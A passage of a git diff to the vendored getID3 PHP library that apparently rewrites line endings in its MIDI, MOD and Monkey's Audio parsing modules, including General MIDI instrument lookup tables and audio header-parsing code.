(is_null($previoustickoffset)) { + $prevmicrosecondsperbeat = $microsecondsperbeat; + $previoustickoffset = $tickoffset; + continue; + } + if ($thisfile_midi['totalticks'] > $tickoffset) { + + if ($thisfile_midi_raw['ticksperqnote'] == 0) { + $this->error('Corrupt MIDI file: ticksperqnote == zero'); + return false; + } + + $info['playtime_seconds'] += (($tickoffset - $previoustickoffset) / $thisfile_midi_raw['ticksperqnote']) * ($prevmicrosecondsperbeat / 1000000); + + $prevmicrosecondsperbeat = $microsecondsperbeat; + $previoustickoffset = $tickoffset; + } + } + if ($thisfile_midi['totalticks'] > $previoustickoffset) { + + if ($thisfile_midi_raw['ticksperqnote'] == 0) { + $this->error('Corrupt MIDI file: ticksperqnote == zero'); + return false; + } + + $info['playtime_seconds'] += (($thisfile_midi['totalticks'] - $previoustickoffset) / $thisfile_midi_raw['ticksperqnote']) * ($prevmicrosecondsperbeat / 1000000); + + } + } + + + if (!empty($info['playtime_seconds'])) { + $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + } + + if (!empty($thisfile_midi['lyrics'])) { + $thisfile_midi['comments']['lyrics'][] = $thisfile_midi['lyrics']; + } + + return true; + } + + /** + * @param int $instrumentid + * + * @return string + */ + public function GeneralMIDIinstrumentLookup($instrumentid) { + + $begin = __LINE__; + + /** This is not a comment! + + 0 Acoustic Grand + 1 Bright Acoustic + 2 Electric Grand + 3 Honky-Tonk + 4 Electric Piano 1 + 5 Electric Piano 2 + 6 Harpsichord + 7 Clavier + 8 Celesta + 9 Glockenspiel + 10 Music Box + 11 Vibraphone + 12 Marimba + 13 Xylophone + 14 Tubular Bells + 15 Dulcimer + 16 Drawbar Organ + 17 Percussive Organ + 18 Rock Organ + 19 Church Organ + 20 Reed Organ + 21 Accordian + 22 Harmonica + 23 Tango Accordian + 24 Acoustic Guitar (nylon) + 25 Acoustic Guitar (steel) + 26 Electric Guitar (jazz) + 27 Electric Guitar (clean) + 28 Electric Guitar (muted) + 29 Overdriven Guitar + 30 Distortion Guitar + 31 Guitar Harmonics + 32 Acoustic Bass + 33 Electric Bass (finger) + 34 Electric Bass (pick) + 35 Fretless Bass + 36 Slap Bass 1 + 37 Slap Bass 2 + 38 Synth Bass 1 + 39 Synth Bass 2 + 40 Violin + 41 Viola + 42 Cello + 43 Contrabass + 44 Tremolo Strings + 45 Pizzicato Strings + 46 Orchestral Strings + 47 Timpani + 48 String Ensemble 1 + 49 String Ensemble 2 + 50 SynthStrings 1 + 51 SynthStrings 2 + 52 Choir Aahs + 53 Voice Oohs + 54 Synth Voice + 55 Orchestra Hit + 56 Trumpet + 57 Trombone + 58 Tuba + 59 Muted Trumpet + 60 French Horn + 61 Brass Section + 62 SynthBrass 1 + 63 SynthBrass 2 + 64 Soprano Sax + 65 Alto Sax + 66 Tenor Sax + 67 Baritone Sax + 68 Oboe + 69 English Horn + 70 Bassoon + 71 Clarinet + 72 Piccolo + 73 Flute + 74 Recorder + 75 Pan Flute + 76 Blown Bottle + 77 Shakuhachi + 78 Whistle + 79 Ocarina + 80 Lead 1 (square) + 81 Lead 2 (sawtooth) + 82 Lead 3 (calliope) + 83 Lead 4 (chiff) + 84 Lead 5 (charang) + 85 Lead 6 (voice) + 86 Lead 7 (fifths) + 87 Lead 8 (bass + lead) + 88 Pad 1 (new age) + 89 Pad 2 (warm) + 90 Pad 3 (polysynth) + 91 Pad 4 (choir) + 92 Pad 5 (bowed) + 93 Pad 6 (metallic) + 94 Pad 7 (halo) + 95 Pad 8 (sweep) + 96 FX 1 (rain) + 97 FX 2 (soundtrack) + 98 FX 3 (crystal) + 99 FX 4 (atmosphere) + 100 FX 5 (brightness) + 101 FX 6 (goblins) + 102 FX 7 (echoes) + 103 FX 8 (sci-fi) + 104 Sitar + 105 Banjo + 106 Shamisen + 107 Koto + 108 Kalimba + 109 Bagpipe + 110 Fiddle + 111 Shanai + 112 Tinkle Bell + 113 Agogo + 114 Steel Drums + 115 Woodblock + 116 Taiko Drum + 117 Melodic Tom + 118 Synth Drum + 119 Reverse Cymbal + 120 Guitar Fret Noise + 121 Breath Noise + 122 Seashore + 123 Bird Tweet + 124 Telephone Ring + 125 Helicopter + 126 Applause + 127 Gunshot + + */ + + return getid3_lib::EmbeddedLookup($instrumentid, $begin, __LINE__, __FILE__, 'GeneralMIDIinstrument'); + } + + /** + * @param int $instrumentid + * + * @return string + */ + public function GeneralMIDIpercussionLookup($instrumentid) { + + $begin = __LINE__; + + /** This is not a comment! + + 35 Acoustic Bass Drum + 36 Bass Drum 1 + 37 Side Stick + 38 Acoustic Snare + 39 Hand Clap + 40 Electric Snare + 41 Low Floor Tom + 42 Closed Hi-Hat + 43 High Floor Tom + 44 Pedal Hi-Hat + 45 Low Tom + 46 Open Hi-Hat + 47 Low-Mid Tom + 48 Hi-Mid Tom + 49 Crash Cymbal 1 + 50 High Tom + 51 Ride Cymbal 1 + 52 Chinese Cymbal + 53 Ride Bell + 54 Tambourine + 55 Splash Cymbal + 56 Cowbell + 57 Crash Cymbal 2 + 59 Ride Cymbal 2 + 60 Hi Bongo + 61 Low Bongo + 62 Mute Hi Conga + 63 Open Hi Conga + 64 Low Conga + 65 High Timbale + 66 Low Timbale + 67 High Agogo + 68 Low Agogo + 69 Cabasa + 70 Maracas + 71 Short Whistle + 72 Long Whistle + 73 Short Guiro + 74 Long Guiro + 75 Claves + 76 Hi Wood Block + 77 Low Wood Block + 78 Mute Cuica + 79 Open Cuica + 80 Mute Triangle + 81 Open Triangle + + */ + + return getid3_lib::EmbeddedLookup($instrumentid, $begin, __LINE__, __FILE__, 'GeneralMIDIpercussion'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.mod.php b/vendor/james-heinrich/getid3/getid3/module.audio.mod.php index 3a1529f730..bf8be33ea2 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.mod.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.mod.php @@ -1,115 +1,115 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.mod.php // -// module for analyzing MOD Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_mod extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - $fileheader = $this->fread(1088); - if (preg_match('#^IMPM#', $fileheader)) { - return $this->getITheaderFilepointer(); - } elseif (preg_match('#^Extended Module#', $fileheader)) { - return $this->getXMheaderFilepointer(); - } elseif (preg_match('#^.{44}SCRM#', $fileheader)) { - return $this->getS3MheaderFilepointer(); - } elseif (preg_match('#^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)#', $fileheader)) { - return $this->getMODheaderFilepointer(); - } - $this->error('This is not a known type of MOD file'); - return false; - } - - /** - * @return bool - */ - public function getMODheaderFilepointer() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset'] + 1080); - $FormatID = $this->fread(4); - if (!preg_match('#^(M.K.|[5-9]CHN|[1-3][0-9]CH)$#', $FormatID)) { - $this->error('This is not a known type of MOD file'); - return false; - } - - $info['fileformat'] = 'mod'; - - $this->error('MOD parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - } - - /** - * @return bool - */ - public function getXMheaderFilepointer() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - $FormatID = $this->fread(15); - if (!preg_match('#^Extended Module$#', $FormatID)) { - $this->error('This is not a known type of XM-MOD file'); - return false; - } - - $info['fileformat'] = 'xm'; - - $this->error('XM-MOD parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - } - - /** - * @return bool - */ - public function getS3MheaderFilepointer() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset'] + 44); - $FormatID = $this->fread(4); - if (!preg_match('#^SCRM$#', $FormatID)) { - $this->error('This is not a ScreamTracker MOD file'); - return false; - } - - $info['fileformat'] = 's3m'; - - $this->error('ScreamTracker parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - } - - /** - * @return bool - */ - public function getITheaderFilepointer() { - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - $FormatID = $this->fread(4); - if (!preg_match('#^IMPM$#', $FormatID)) { - $this->error('This is not an ImpulseTracker MOD file'); - return false; - } - - $info['fileformat'] = 'it'; - - $this->error('ImpulseTracker parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.mod.php // +// module for analyzing MOD Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_mod extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + $fileheader = $this->fread(1088); + if (preg_match('#^IMPM#', $fileheader)) { + return $this->getITheaderFilepointer(); + } elseif (preg_match('#^Extended Module#', $fileheader)) { + return $this->getXMheaderFilepointer(); + } elseif (preg_match('#^.{44}SCRM#', $fileheader)) { + return $this->getS3MheaderFilepointer(); + } elseif (preg_match('#^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)#', $fileheader)) { + return $this->getMODheaderFilepointer(); + } + $this->error('This is not a known type of MOD file'); + return false; + } + + /** + * @return bool + */ + public function getMODheaderFilepointer() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset'] + 1080); + $FormatID = $this->fread(4); + if (!preg_match('#^(M.K.|[5-9]CHN|[1-3][0-9]CH)$#', $FormatID)) { + $this->error('This is not a known type of MOD file'); + return false; + } + + $info['fileformat'] = 'mod'; + + $this->error('MOD parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + } + + /** + * @return bool + */ + public function getXMheaderFilepointer() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + $FormatID = $this->fread(15); + if (!preg_match('#^Extended Module$#', $FormatID)) { + $this->error('This is not a known type of XM-MOD file'); + return false; + } + + $info['fileformat'] = 'xm'; + + $this->error('XM-MOD parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + } + + /** + * @return bool + */ + public function getS3MheaderFilepointer() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset'] + 44); + $FormatID = $this->fread(4); + if (!preg_match('#^SCRM$#', $FormatID)) { + $this->error('This is not a ScreamTracker MOD file'); + return false; + } + + $info['fileformat'] = 's3m'; + + $this->error('ScreamTracker parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + } + + /** + * @return bool + */ + public function getITheaderFilepointer() { + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + $FormatID = $this->fread(4); + if (!preg_match('#^IMPM$#', $FormatID)) { + $this->error('This is not an ImpulseTracker MOD file'); + return false; + } + + $info['fileformat'] = 'it'; + + $this->error('ImpulseTracker parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.monkey.php b/vendor/james-heinrich/getid3/getid3/module.audio.monkey.php index 80b7295ff9..beaca8c1b5 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.monkey.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.monkey.php @@ -1,220 +1,220 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.monkey.php // -// module for analyzing Monkey's Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_monkey extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // based loosely on code from TMonkey by Jurgen Faul - // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html - - $info['fileformat'] = 'mac'; - $info['audio']['dataformat'] = 'mac'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - $info['monkeys_audio']['raw'] = array(); - $thisfile_monkeysaudio = &$info['monkeys_audio']; - $thisfile_monkeysaudio_raw = &$thisfile_monkeysaudio['raw']; - - $this->fseek($info['avdataoffset']); - $MACheaderData = $this->fread(74); - - $thisfile_monkeysaudio_raw['magic'] = substr($MACheaderData, 0, 4); - $magic = 'MAC '; - if ($thisfile_monkeysaudio_raw['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_monkeysaudio_raw['magic']).'"'); - unset($info['fileformat']); - return false; - } - $thisfile_monkeysaudio_raw['nVersion'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 4, 2)); // appears to be uint32 in 3.98+ - - if ($thisfile_monkeysaudio_raw['nVersion'] < 3980) { - $thisfile_monkeysaudio_raw['nCompressionLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 6, 2)); - $thisfile_monkeysaudio_raw['nFormatFlags'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 8, 2)); - $thisfile_monkeysaudio_raw['nChannels'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 10, 2)); - $thisfile_monkeysaudio_raw['nSampleRate'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 12, 4)); - $thisfile_monkeysaudio_raw['nHeaderDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 16, 4)); - $thisfile_monkeysaudio_raw['nWAVTerminatingBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 20, 4)); - $thisfile_monkeysaudio_raw['nTotalFrames'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 24, 4)); - $thisfile_monkeysaudio_raw['nFinalFrameSamples'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 28, 4)); - $thisfile_monkeysaudio_raw['nPeakLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 32, 4)); - $thisfile_monkeysaudio_raw['nSeekElements'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 38, 2)); - $offset = 8; - } else { - $offset = 8; - // APE_DESCRIPTOR - $thisfile_monkeysaudio_raw['nDescriptorBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nHeaderBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nSeekTableBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nHeaderDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nAPEFrameDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nAPEFrameDataBytesHigh'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nTerminatingDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['cFileMD5'] = substr($MACheaderData, $offset, 16); - $offset += 16; - - // APE_HEADER - $thisfile_monkeysaudio_raw['nCompressionLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); - $offset += 2; - $thisfile_monkeysaudio_raw['nFormatFlags'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); - $offset += 2; - $thisfile_monkeysaudio_raw['nBlocksPerFrame'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nFinalFrameBlocks'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nTotalFrames'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - $thisfile_monkeysaudio_raw['nBitsPerSample'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); - $offset += 2; - $thisfile_monkeysaudio_raw['nChannels'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); - $offset += 2; - $thisfile_monkeysaudio_raw['nSampleRate'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); - $offset += 4; - } - - $thisfile_monkeysaudio['flags']['8-bit'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0001); - $thisfile_monkeysaudio['flags']['crc-32'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0002); - $thisfile_monkeysaudio['flags']['peak_level'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0004); - $thisfile_monkeysaudio['flags']['24-bit'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0008); - $thisfile_monkeysaudio['flags']['seek_elements'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0010); - $thisfile_monkeysaudio['flags']['no_wav_header'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0020); - $thisfile_monkeysaudio['version'] = $thisfile_monkeysaudio_raw['nVersion'] / 1000; - $thisfile_monkeysaudio['compression'] = $this->MonkeyCompressionLevelNameLookup($thisfile_monkeysaudio_raw['nCompressionLevel']); - if ($thisfile_monkeysaudio_raw['nVersion'] < 3980) { - $thisfile_monkeysaudio['samples_per_frame'] = $this->MonkeySamplesPerFrame($thisfile_monkeysaudio_raw['nVersion'], $thisfile_monkeysaudio_raw['nCompressionLevel']); - } - $thisfile_monkeysaudio['bits_per_sample'] = ($thisfile_monkeysaudio['flags']['24-bit'] ? 24 : ($thisfile_monkeysaudio['flags']['8-bit'] ? 8 : 16)); - $thisfile_monkeysaudio['channels'] = $thisfile_monkeysaudio_raw['nChannels']; - $info['audio']['channels'] = $thisfile_monkeysaudio['channels']; - $thisfile_monkeysaudio['sample_rate'] = $thisfile_monkeysaudio_raw['nSampleRate']; - if ($thisfile_monkeysaudio['sample_rate'] == 0) { - $this->error('Corrupt MAC file: frequency == zero'); - return false; - } - $info['audio']['sample_rate'] = $thisfile_monkeysaudio['sample_rate']; - if ($thisfile_monkeysaudio['flags']['peak_level']) { - $thisfile_monkeysaudio['peak_level'] = $thisfile_monkeysaudio_raw['nPeakLevel']; - $thisfile_monkeysaudio['peak_ratio'] = $thisfile_monkeysaudio['peak_level'] / pow(2, $thisfile_monkeysaudio['bits_per_sample'] - 1); - } - if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { - $thisfile_monkeysaudio['samples'] = (($thisfile_monkeysaudio_raw['nTotalFrames'] - 1) * $thisfile_monkeysaudio_raw['nBlocksPerFrame']) + $thisfile_monkeysaudio_raw['nFinalFrameBlocks']; - } else { - $thisfile_monkeysaudio['samples'] = (($thisfile_monkeysaudio_raw['nTotalFrames'] - 1) * $thisfile_monkeysaudio['samples_per_frame']) + $thisfile_monkeysaudio_raw['nFinalFrameSamples']; - } - $thisfile_monkeysaudio['playtime'] = $thisfile_monkeysaudio['samples'] / $thisfile_monkeysaudio['sample_rate']; - if ($thisfile_monkeysaudio['playtime'] == 0) { - $this->error('Corrupt MAC file: playtime == zero'); - return false; - } - $info['playtime_seconds'] = $thisfile_monkeysaudio['playtime']; - $thisfile_monkeysaudio['compressed_size'] = $info['avdataend'] - $info['avdataoffset']; - $thisfile_monkeysaudio['uncompressed_size'] = $thisfile_monkeysaudio['samples'] * $thisfile_monkeysaudio['channels'] * ($thisfile_monkeysaudio['bits_per_sample'] / 8); - if ($thisfile_monkeysaudio['uncompressed_size'] == 0) { - $this->error('Corrupt MAC file: uncompressed_size == zero'); - return false; - } - $thisfile_monkeysaudio['compression_ratio'] = $thisfile_monkeysaudio['compressed_size'] / ($thisfile_monkeysaudio['uncompressed_size'] + $thisfile_monkeysaudio_raw['nHeaderDataBytes']); - $thisfile_monkeysaudio['bitrate'] = (($thisfile_monkeysaudio['samples'] * $thisfile_monkeysaudio['channels'] * $thisfile_monkeysaudio['bits_per_sample']) / $thisfile_monkeysaudio['playtime']) * $thisfile_monkeysaudio['compression_ratio']; - $info['audio']['bitrate'] = $thisfile_monkeysaudio['bitrate']; - - // add size of MAC header to avdataoffset - if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { - $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nDescriptorBytes']; - $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nHeaderBytes']; - $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nSeekTableBytes']; - $info['avdataoffset'] += $thisfile_monkeysaudio_raw['nHeaderDataBytes']; - - $info['avdataend'] -= $thisfile_monkeysaudio_raw['nTerminatingDataBytes']; - } else { - $info['avdataoffset'] += $offset; - } - - if ($thisfile_monkeysaudio_raw['nVersion'] >= 3980) { - if ($thisfile_monkeysaudio_raw['cFileMD5'] === str_repeat("\x00", 16)) { - //$this->warning('cFileMD5 is null'); - } else { - $info['md5_data_source'] = ''; - $md5 = $thisfile_monkeysaudio_raw['cFileMD5']; - for ($i = 0; $i < strlen($md5); $i++) { - $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); - } - if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { - unset($info['md5_data_source']); - } - } - } - - - - $info['audio']['bits_per_sample'] = $thisfile_monkeysaudio['bits_per_sample']; - $info['audio']['encoder'] = 'MAC v'.number_format($thisfile_monkeysaudio['version'], 2); - $info['audio']['encoder_options'] = ucfirst($thisfile_monkeysaudio['compression']).' compression'; - - return true; - } - - /** - * @param int $compressionlevel - * - * @return string - */ - public function MonkeyCompressionLevelNameLookup($compressionlevel) { - static $MonkeyCompressionLevelNameLookup = array( - 0 => 'unknown', - 1000 => 'fast', - 2000 => 'normal', - 3000 => 'high', - 4000 => 'extra-high', - 5000 => 'insane' - ); - return (isset($MonkeyCompressionLevelNameLookup[$compressionlevel]) ? $MonkeyCompressionLevelNameLookup[$compressionlevel] : 'invalid'); - } - - /** - * @param int $versionid - * @param int $compressionlevel - * - * @return int - */ - public function MonkeySamplesPerFrame($versionid, $compressionlevel) { - if ($versionid >= 3950) { - return 73728 * 4; - } elseif ($versionid >= 3900) { - return 73728; - } elseif (($versionid >= 3800) && ($compressionlevel == 4000)) { - return 73728; - } else { - return 9216; - } - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.monkey.php // +// module for analyzing Monkey's Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_monkey extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // based loosely on code from TMonkey by Jurgen Faul + // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html + + $info['fileformat'] = 'mac'; + $info['audio']['dataformat'] = 'mac'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + $info['monkeys_audio']['raw'] = array(); + $thisfile_monkeysaudio = &$info['monkeys_audio']; + $thisfile_monkeysaudio_raw = &$thisfile_monkeysaudio['raw']; + + $this->fseek($info['avdataoffset']); + $MACheaderData = $this->fread(74); + + $thisfile_monkeysaudio_raw['magic'] = substr($MACheaderData, 0, 4); + $magic = 'MAC '; + if ($thisfile_monkeysaudio_raw['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_monkeysaudio_raw['magic']).'"'); + unset($info['fileformat']); + return false; + } + $thisfile_monkeysaudio_raw['nVersion'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 4, 2)); // appears to be uint32 in 3.98+ + + if ($thisfile_monkeysaudio_raw['nVersion'] < 3980) { + $thisfile_monkeysaudio_raw['nCompressionLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 6, 2)); + $thisfile_monkeysaudio_raw['nFormatFlags'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 8, 2)); + $thisfile_monkeysaudio_raw['nChannels'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 10, 2)); + $thisfile_monkeysaudio_raw['nSampleRate'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 12, 4)); + $thisfile_monkeysaudio_raw['nHeaderDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 16, 4)); + $thisfile_monkeysaudio_raw['nWAVTerminatingBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 20, 4)); + $thisfile_monkeysaudio_raw['nTotalFrames'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 24, 4)); + $thisfile_monkeysaudio_raw['nFinalFrameSamples'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 28, 4)); + $thisfile_monkeysaudio_raw['nPeakLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 32, 4)); + $thisfile_monkeysaudio_raw['nSeekElements'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, 38, 2)); + $offset = 8; + } else { + $offset = 8; + // APE_DESCRIPTOR + $thisfile_monkeysaudio_raw['nDescriptorBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nHeaderBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nSeekTableBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nHeaderDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nAPEFrameDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nAPEFrameDataBytesHigh'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nTerminatingDataBytes'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['cFileMD5'] = substr($MACheaderData, $offset, 16); + $offset += 16; + + // APE_HEADER + $thisfile_monkeysaudio_raw['nCompressionLevel'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); + $offset += 2; + $thisfile_monkeysaudio_raw['nFormatFlags'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); + $offset += 2; + $thisfile_monkeysaudio_raw['nBlocksPerFrame'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nFinalFrameBlocks'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nTotalFrames'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + $thisfile_monkeysaudio_raw['nBitsPerSample'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); + $offset += 2; + $thisfile_monkeysaudio_raw['nChannels'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 2)); + $offset += 2; + $thisfile_monkeysaudio_raw['nSampleRate'] = getid3_lib::LittleEndian2Int(substr($MACheaderData, $offset, 4)); + $offset += 4; + } + + $thisfile_monkeysaudio['flags']['8-bit'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0001); + $thisfile_monkeysaudio['flags']['crc-32'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0002); + $thisfile_monkeysaudio['flags']['peak_level'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0004); + $thisfile_monkeysaudio['flags']['24-bit'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0008); + $thisfile_monkeysaudio['flags']['seek_elements'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0010); + $thisfile_monkeysaudio['flags']['no_wav_header'] = (bool) ($thisfile_monkeysaudio_raw['nFormatFlags'] & 0x0020); + $thisfile_monkeysaudio['version'] = $thisfile_monkeysaudio_raw['nVersion'] / 1000; + $thisfile_monkeysaudio['compression'] = $this->MonkeyCompressionLevelNameLookup($thisfile_monkeysaudio_raw['nCompressionLevel']); + if ($thisfile_monkeysaudio_raw['nVersion'] < 3980) { + $thisfile_monkeysaudio['samples_per_frame'] = $this->MonkeySamplesPerFrame($thisfile_monkeysaudio_raw['nVersion'], $thisfile_monkeysaudio_raw['nCompressionLevel']); + } + $thisfile_monkeysaudio['bits_per_sample'] = ($thisfile_monkeysaudio['flags']['24-bit'] ? 24 : ($thisfile_monkeysaudio['flags']['8-bit'] ? 8 : 